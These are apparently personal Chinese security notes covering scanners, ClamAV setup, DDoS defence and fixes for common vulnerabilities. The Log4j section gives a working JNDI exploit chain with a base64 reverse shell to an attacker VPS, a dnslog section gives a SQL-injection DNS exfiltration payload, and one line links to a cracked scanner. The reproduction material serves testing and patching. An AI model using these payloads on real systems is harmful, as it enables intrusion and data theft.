介绍
- 网络安全相关名词介绍tech-conception.md#安全
- 网络安全相关网站
常用解决方法
1 | # 病毒文件一般为/tmp目录的影藏文件(最后需要删除病毒文件,一般可根据此病毒文件名查找对应病毒) |
查杀毒工具
- Linux杀毒软件 https://ywnz.com/linuxaq/5061.html
- 安全测试工具 https://blog.csdn.net/lb245557472/article/details/88572607
- 安全测试工具 https://www.freebuf.com/sectool/194269.html
长亭雷池WAF
- 官网: 个人版开源, 专业版3600/年
- 长亭雷池WAF开源版: Web 应用防火墙(WAF),可以保护 Web 服务不受黑客攻击
- 通过过滤和监控 Web 应用与互联网之间的 HTTP 流量来保护 Web 服务。可以保护 Web 服务免受 SQL 注入、XSS、 代码注入、命令注入、CRLF 注入、ldap 注入、xpath 注入、RCE、XXE、SSRF、路径遍历、后门、暴力破解、CC、爬虫 等攻击。
fscan内网综合扫描工具
- fscan
./fscan.exe -h 192.168.1.10- 扫描OFBiz-13.7漏洞两个:CVE-2018-8033、CVE-2020-9496
- 支持xray的poc
- xray
./xray_windows_amd64 webscan --basic-crawler http://localhost:8080/ --html-output xray-crawler-testphp.html- 第一次允许会失败(因为缺少配置文件,并会自动生成,重新运行即可)
- 如基于爬虫扫描OFBiz-13.7漏洞两个:CVE-2018-8033、CVE-2020-9496
- 支持自定义poc,内置819种poc文件
- acunetix(AWVS)
- 破解版参考:https://www.ddosi.org/category/awvs/
- 偏向静态资源,http参数等
- PocSuite
- 需针对某个病毒编写POC文件,较麻烦,非一键探测
- clair
- 本地Docker镜像安全分析
ClamAV文件查毒(linux)
ClamAV是Linux平台上领先的开源命令行病毒扫描程序,占用内存和CPU并不高。支持Linux/Windows/Mac等多平台- 官网、Doc
- ClamAV包含clamscan命令(开销大,适合一次性扫描)、clamd服务(会启动守护进程,开销小,适合不定时响应客户端文件扫描请求)、freshclam(病毒库更新工具)等
nuclei自定义漏洞扫描器
- nuclei:Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器,使用Go语言开发
- 使用参考:https://blog.csdn.net/asaotomo/article/details/122395708
安装使用(v0.102.2-3)
- 安装使用 ^3
1 | ## 安装 |
- clamd服务使用(可选)
1 | # 修改配置。/etc/clamd.d/scan.conf 即为其他网络教程说的 clamd.conf |
- 启用freshclam自动更新病毒库(可选)
1 | # 方法一 |
- 周期自动扫描服务器(可选)
1 | # 每天11点进行文件扫描 |
相关命令
1 | # 参考:https://www.cnblogs.com/sztom/p/13222917.html |
ClamAV与业务系统整合(查杀上传的文件)
- 整合路程图 ^4

- java的ClamAV杀毒引擎服务器可以基于clamav-rest实现
关于病毒库测试
- 病毒库说明 ^1
1 | # 进入病毒库目录,病毒库文件:main.cvd、daily.cvd、bytecode.cvd |
- 构造属于自己的恶意软件特征库(未测试成功)
1 | echo 123 > test.sh |
其他用法
- jenkins插件,可检查代码是否含有病毒:https://plugins.jenkins.io/clamav/
攻击工具
- BurpSuite 用于攻击web 应用程序的集成平台,收费
- ysoserial JAVA反序列化工具
dnslog
- dnslog DNS解析回显工具
使用方法
- 访问
http://www.dnslog.cn/,点击Get SubDomain获取一个临时域名(如: wmmdmx.dnslog.cn) - 使目标服务器访问 wmmdmx.dnslog.cn 或 xxx.wmmdmx.dnslog.cn 或 xxx.wmmdmx.dnslog.cn/xxx
- 然后回到dnslog,点击
Refresh Record,如果有记录(如: wmmdmx.dnslog.cn或者xxx.wmmdmx.dnslog.cn)说明进行了DNS解析(一个域名只能检测一次,长时间执行需要重新获取域名)
- 访问
- 说明
- 第2步一般为利用漏洞让程序进行DNS解析, 如下文Log4j漏洞
- 对临时域名访问任意子子域名(如xxx)均可, 但是整个不能超过域名长度限制(子域最多63个字符, 域名最多127个字符, 完整域名最长253个字符), 并且不包含特殊符号, 否则会导致DNS查询失败
- 案例
- 如用于快速验证Apache-Log4j漏洞, 参考下文
- SQL注入回显数据
- 如sqli-labs第九关访问
http://192.168.1.100/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select database()),'.wmmdmx.dnslog.cn/test')))--+进行当前数据库名称回显 - 最终会把当前使用的数据库security回显到dnslog解析记录中(security.wmmdmx.dnslog.cn), 从而可多次操作数据库进行数据回显
- 参考: https://www.cnblogs.com/CVE-Lemon/p/17806229.html
- 如sqli-labs第九关访问
interactsh
- github
- 在线Web UI 可以查看该服务的线上托管实例
- Interactsh是一款功能强大的代码数据提取开源解决方案,该工具可以收集和分析服务器端和客户端代码,并检测能够实现外部交互的安全漏洞,比如说SQL盲注、CMD盲注和SSRF等漏洞
测试靶场
- Vulhub
- Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境
- vulfocus
- Vulfocus 是一个漏洞集成平台,将漏洞环境 docker 镜像,放入即可使用。支持在线使用
常见漏洞或攻击
DDoS攻击
- DDoS攻击: 分布式拒绝服务攻击, 黑客利用DDoS攻击器控制多台机器同时攻击, 来达到“妨碍正常使用者使用服务”的目的
- 常见攻击方式
- 利用 SYN/ACK 进行Flood洪水攻击: 发送大量伪源IP的 SYN 报文, 从而造成 SYN 队列溢出(都在等伪源 IP 的 ACK 报文)
- TCP全连接攻击: 大量僵尸机链接服务器, 导致 Nginx 等链接耗尽(一般可以绕过常规防火墙)
- UDP Flood攻击: 发送大量 UDP 小包进行攻击 DNS 服务器, 会导致服务中断, 带宽资源耗尽, 系统资源耗尽
- ICMP Flood攻击: 流量型攻击, 目前很多防火墙过滤了 ICMP 报文, 现在这种攻击较少
- tcp get 攻击: 通过和服务器建立正常链接,不断向程序提交查询等请求,消耗数据库资源的调用(以小博大)
- udp dns query 洪水攻击: 通过让服务器大量域名解析请求, 通常是一些不存在的域名从而造成域名解析服务器超时
- CC(Challenge Collapsar)攻击: 攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装; 主要攻击页面, 类似压测
- 通过日志或命令行查看:
netstat -na有很多 “SYN RECEIVED” 的TCP连接状态标志 - 防御: 增加服务器资源, 使用 CDN 服务, 设置访问限制, 使用 WEB 防火墙
- 通过日志或命令行查看:
- 攻击识别方式
- Ping 超时或丢包,则可能遭受攻击,若相同交换机上的主机也无法访问,则基本为流量型攻击(前提是没有屏蔽 ICPM 协议)
- Telnet 测试: 远程终端链接服务器失败, 一般为资源耗尽
- 防御方式: 无法完全杜绝,只能通过提高攻击者成本来让其放弃攻击
- 注意/重点
- 不能泄露自己服务器的公网源IP(此处如果域名直接解析到源 IP 也是被泄露了, 所以还是要使用 CDN)
- 对于 4 层的攻击: 主要是使用 CDN 防御(比拼攻防双方耗费情况). 否则还没到云主机就被主机厂商丢进路由黑洞了; 如果机器不在云上, 可以拉专线, 通过 XDP/DPDK 等来防护
- 对于 7 层的攻击: 开源的 WAF 较多
- 分线路解析
- 境内线路解析到国内CDN/IP地址、境外线路解析到Cloudflare(或不解析), 如阿里云域名解析时在解析请求来源的区域中选择
- 如?: https://zhuanlan.zhihu.com/p/1947603154314176411
- 如阿里云安全组配置 - 入方向
- 允许: 优先级1, 协议TCP, 目的80/80, 源所有IPv4(0.0.0.0/0)
- 允许: 优先级1, 协议TCP, 目的443/443, 源所有IPv4(0.0.0.0/0)
- 拒绝: 优先级100, 协议TCP, 目的1/65535(或-1/-1都代表所有端口), 源所有IPv4(0.0.0.0/0)
- 拒绝: 优先级100, 协议UDP, 所有
- 拒绝: 优先级100, 协议ICMP, 所有
- 拒绝: 优先级100, 协议GRE, 所有
- 宝塔配置: 安全 - 地区规则: 屏蔽除中国外所有端口 (貌似没用)
- 基于Cloudflare的CDN进行防护
- 说明
- 国内 CDN 被刷量会导致高额欠费, 可使用国外 Cloudflare 免费防护(会导致国内访问变慢):
- 企业版国内节点: https://www.cloudflare.com/zh-cn/case-studies/polestar/(有最低消月费要求的,一般是每个月几千美金起跳的那个)
- DDoS攻击时, 阿里云监控的公网带宽没有降低, 不清楚效果
- 域名正常注册并备案
- 在域名注册商处修改 DNS 服务器为 CF 服务器
- 进入 CF 域名的 DNS 管理中, 添加 A 记录解析, 并打开代理状态 (用户访问 -> CF的CDN -> 解析的源IP)
- 在服务器厂商设置 IP 访问白名单(单独设置一个安全组即可): 只允许 CF 的 CDN 访问(对于 IP 可在此查询: https://www.cloudflare.com/ips), 阻止其他 IP 访问
- 因为黑客可使用 FOFA 等网络空间测绘工具暴力扫描所有 IP, 根据 IP 返回的页面和域名返回的页面进行对比, 一致则找到了源 IP
- 2023-09-28 CF CDN IP:
173.245.48.0/20 103.21.244.0/22 103.22.200.0/22 103.31.4.0/22 141.101.64.0/18 108.162.192.0/18 190.93.240.0/20 188.114.96.0/20 197.234.240.0/22 198.41.128.0/17 162.158.0.0/15 104.16.0.0/13 104.24.0.0/14 172.64.0.0/13 131.0.72.0/22
- 在 CF 中创建安全规则: 域名 - 安全性
- 安全规则 - 创建规则 - 自定义规则
- 屏蔽国外: 国家/地区 不等于 China, 选择操作: 阻止(还有如托管质询: 表示会弹出人机验证框)
- 安全规则 - 创建规则 - 速率限制规则: 如 10s 最多允许 100 个请求
- 安全规则 - 设置
- 安全级别: 启用 I’m under attack 模式表示每个请求第一次都会收到人机验证 (不适用于小程序的 API, 会导致 API 也会被质询)
- 安全规则 - 创建规则 - 自定义规则
- 说明
- 基于开源组件: https://github.com/yinyue123/DK8sDDosFirewall 基于OpenResty(Nginx+Lua, 针对 7 层)
- 说明
- 主要针对防UDP/防ICMP/防SYN, 对CC刷量即防止刷CDN流量,DDos有一定防御力
- DDoS攻击时, 阿里云监控的公网带宽没有降低, 不清楚效果 (貌似没效果, 小规模攻击?)
- 使用参考: https://www.bilibili.com/video/BV1nr4y1Z7Nc
luajit -b record.lua record.ljbc将 lua 脚本转成 LuaJIT 字节码- env.conf 配置文件中分别为每个 IP 最大总请求次数, 最大总请求字节数, 最大总消耗服务器毫秒数
- 说明
- 购买高防服务器: 直接暴露源 IP 问题也不大
- 静态页面可使用 Github Pages 部署
CSRF和XSS
OOB
- 阿里云会发送告警: 请求带外攻击(OOB)域名
数据库安全
SQL注入
- SQL注入练习环境
- sqli-labs 是一个专业的 SQL 注入练习平台,该平台包含常见的注入类型,环境共有65个 SOL 注入漏洞
- 参考: https://www.cnblogs.com/liigceen/p/18555978
- 参考Mybatis的使用${}时SQL注入问题
数据库常见安全配置及使用
Mysql
- 禁用load_file(可以访问网络路径和本次磁盘文件). 参考上文: SQL注入回显数据
1 | # 查看load_file开启状态: secure_file_priv参数值 |
高危漏洞
CVE-2021-44228(Apache-Log4j漏洞)
- 重要
- 找到程序会打印的代码入口,输入恶意代码(指定LDAP服务器不存在的资源)
- log4j如果出现
${}则会对里面的属性进行解析 - log4j的使用的JNDI会自动进行动态协议转换(假设初始化的是
rmi://远程地址,当用户输入jndi:ldap://会自动转成ldap协议进行资源查找) - 在解析属性的时候,会自动访问ldap服务并下载(假设此服务对应地址为攻击者假设的服务器,就会自动下载攻击者提前放好的资源,如可执行class文件)
系统下载到class文件资源后会自动加载,从而会自动执行攻击者提前写好的static中的代码
- 假设此class资源是一个引用
new Reference("refClassName","insClassName","http://ip:port/"); - 会现在本地查找此class,没有的话就会通过file/ftp/http等协议下载

- 假设此class资源是一个引用
- 受影响版本
- 使用了log4j的组件,< Apache Log4j 2.12.2 (JDK7) 或 < Apache Log4j 2.16.0 (JDK8)
- 漏洞复现参考
- 漏洞复现(简单检测)
- 访问
http://www.dnslog.cn/,点击Get SubDomain获取一个临时域名(如: wmmdmx.dnslog.cn) - 漏洞主要是要让Log4j打印攻击者输入的内容,假设网站登录会打印用户名
- 此时登录用户名输入
${jndi:ldap://wmmdmx.dnslog.cn} - 然后回到dnslog,点击
Refresh Record,如果有记录说明存在漏洞(一个域名只能检测一次,长时间执行需要重新获取域名)
- 访问
- 漏洞复现(打开本地计算器)
- 在VPS上执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 10.10.10.10- 此VPS攻击者自己的外网服务器,假设外网IP为10.10.10.10
calc.exe为攻击者在被攻击服务器上执行的打开计算器命令,如果是mac则为/System/Applications/Calculator.app- 参考JNDI注入测试工具 JNDI-Injection-Exploit
- 此时登录用户名输入如
${jndi:ldap://10.10.10.10:1389/sddydl}后提交(具体命令根据上述jar打印的来执行,分JDK7/JDK8)
- 在VPS上执行
- 漏洞复现(反弹shell)
- 反弹shell介绍
- 法一(如攻击者使用的linux)
- 启动监听
nc -l 9091(反弹shell会显示在此命令行) - 将反弹shell命令进行base64加密
bash -i >& /dev/tcp/10.10.10.10/9091 0>&1,得到如YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85MDkxIDA+JjE= - 执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85MDkxIDA+JjE=}|{base64,-d}|{bash,-i}" -A 10.10.10.10 - 然后登录用户名输入如
${jndi:ldap://10.10.10.10:1389/sm0syp}后提交 - 此时nc监控命令行会显示被攻击服务器shell
- 启动监听
- 法二(如攻击者使用windows): 参考https://github.com/bkfish/Apache-Log4j-Learning/tree/main
- 需修改ExecTemplateJDK7.java中的端口为VPS端口
- 其中
python3 -m http.server 9092需在ExecTemplateJDK7.class目录执行,相当于启动一个简单服务器 - 然后通过marshalsec-0.0.3-SNAPSHOT-all.jar启动JNDI服务
- 漏洞修复
- 升级到Apache Log4j 2.12.2 (JDK7) 或 Apache Log4j 2.16.0 (JDK8)
CVE-2022-25845(FastJson代码执行漏洞)
- 参考链接:https://github.com/alibaba/fastjson/wiki/security_update_20220523
- 漏洞复现:https://www.jianshu.com/p/d4702da8b93e
- 思考:POC案例中,反序列化的类必须执行
Runtime.getRuntime().exec这一段,如果代码中没有类似代码呢
- 思考:POC案例中,反序列化的类必须执行
- 解决方法:升级到v1.2.83或v2
CVE-2024-36104(OFBiz路径遍历致权限绕过)
- 参考链接
- 问题披露 https://avd.aliyun.com/detail?id=AVD-2024-36104
- 问题issues https://issues.apache.org/jira/browse/OFBIZ-13092
- 漏洞复现 https://mp.weixin.qq.com/s/tsG1wbKqGs_yyzQhJr6ZLw
- 问题提交补丁 https://github.com/apache/ofbiz-framework/commit/d33ce31012c97056f6e755261905e0950c96489d
- 类似漏洞CVE-2024-25065 https://xz.aliyun.com/t/14017
- jira文档说明
- 每个CVE编号会对于一个OFBIZ需求编号, 如OFBIZ-13092, 而这个需求可能会有多个git提交记录, 一般进入OFBIZ需求描述页面搜索
ofbiz-framework's branch refs/heads/release18.12即对应提交记录(先提交的排在上面)
- 每个CVE编号会对于一个OFBIZ需求编号, 如OFBIZ-13092, 而这个需求可能会有多个git提交记录, 一般进入OFBIZ需求描述页面搜索

- 漏洞复现说明:直接使用postman测试(或者使用nuclei)
1 | # ProgramExport为之后版本新加的接口路径(功能是基于参数执行groovy脚本),13.7没有 |
- 解决说明参考上文,如13.7版本可直接手动增加补丁
1 | // ContextFilter.java |
使用TLS1.0和1.1版本
- 解决方法: 仅开启TLSv1.2版
1 | server { |
Http头Hostname攻击
- 通过Postman即可复现
- 解决方法参考:https://blog.csdn.net/doulicau/article/details/106685476
- nginx解决方案
1 | # 方法一(如果启用了https,则配置一下80到443的重定向,并去掉此处80的配置) |
中危漏洞
SSL/TLS协议信息泄露漏洞CVE-2016-2183
- 参考: https://segmentfault.com/a/1190000038486901
- 解决方法: nginx配置ssl_ciphers增加
!3DES表示关掉此脆弱算法,如ssl_ciphers HIGH:!aNULL:!MD5:!3DES;
低危漏洞
不安全链接 (target=”_blank”)
- 参考: https://zhuanlan.zhihu.com/p/53132574
- 修复方法: 将
<a href="https://example.com" target="_blank">链接</a>改成<a href="https://example.com" target="_blank" rel="noopener noreferrer nofollow">链接</a>,即增加属性rel="noopener noreferrer nofollow" - 注意上面几个属性的意义
noopener: 防止新页面获取当前页面的window.opener属性,防止新页面通过window.opener来控制当前页面noreferrer: 防止新页面获取当前页面的Referer信息,如不会发送请求头Origin属性。如果部分场景需要校验Origin来源,则应该去掉此属性防止Origin等信息丢失nofollow: 防止搜索引擎爬虫爬取该链接
Cookie未设置Secure标识
- Cookie中有一个Secure标识,如果设置了,那么这个cookie只会再https下被发送出去,https的传输时加密的,减少敏感cookie再http明文传输时泄露的可能性。更多参考常见兼容性问题
- 如
JSESSIONID等信息应该设置,如果没有敏感信息则风险会降低 - 修复方法: https://www.cnblogs.com/kelelipeng/p/15817128.html
- 拦截器方案貌似有点问题,建议使用配置
- web.xml配置方案
1 | <!-- 响应体如 Set-Cookie: JSESSIONID=E5D13A2C8A5C951E22BC409C6114E5B5.jvm1; Path=/home/demo/; Secure; HttpOnly --> |
带自动完成的密码字段
- 解决办法
1 | `autocomplete`值可以在两个不同的位置进行配置。 |
可直接访问文档文件
- 如可访问
https://example.com/lib/README.md - 修复方法
1 | # 静止访问文件后缀 |
信息漏洞
参考文章
